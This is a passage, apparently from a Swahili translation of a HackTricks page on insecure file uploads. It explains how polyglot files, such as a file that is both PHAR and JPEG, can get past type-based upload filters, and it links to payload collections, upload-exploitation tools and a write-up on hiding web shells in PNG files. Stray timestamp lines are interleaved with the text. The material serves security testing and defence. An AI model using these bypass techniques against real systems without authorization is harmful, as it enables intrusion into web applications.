Umuhimu wa msingi wa faili za polyglot uko katika uwezo wao wa kuzunguka hatua za usalama ambazo huchuja faili kulingana na aina. Mazoea ya kawaida katika programu mbalimbali ni kuruhusu aina fulani tu za faili kwa kupakia - kama JPEG, GIF, au DOC - ili kupunguza hatari inayosababishwa na muundo wa faili zenye madhara (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kufuata vigezo vya muundo wa aina mbalimbali za faili, inaweza kwa siri kuzunguka vizuizi hivi.
2020-10-15 13:16:06 +00:00
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kwa wakati mmoja kuwa faili ya PHAR (PHp ARchive) na JPEG, mafanikio ya kupakia kwake yanaweza kutegemea sera za nyongeza za faili za jukwaa. Ikiwa mfumo unazingatia kwa makini nyongeza zinazoruhusiwa, uhalisia wa mara mbili wa faili ya polyglot pekee hauwezi kutosha kuhakikisha kupakia kwake.
2020-10-15 13:16:06 +00:00
Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
## Marejeo
2024-02-05 20:00:40 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
2024-02-05 20:00:40 +00:00
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunatoa ajira!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).
2022-05-08 22:42:39 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-01 17:15:10 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>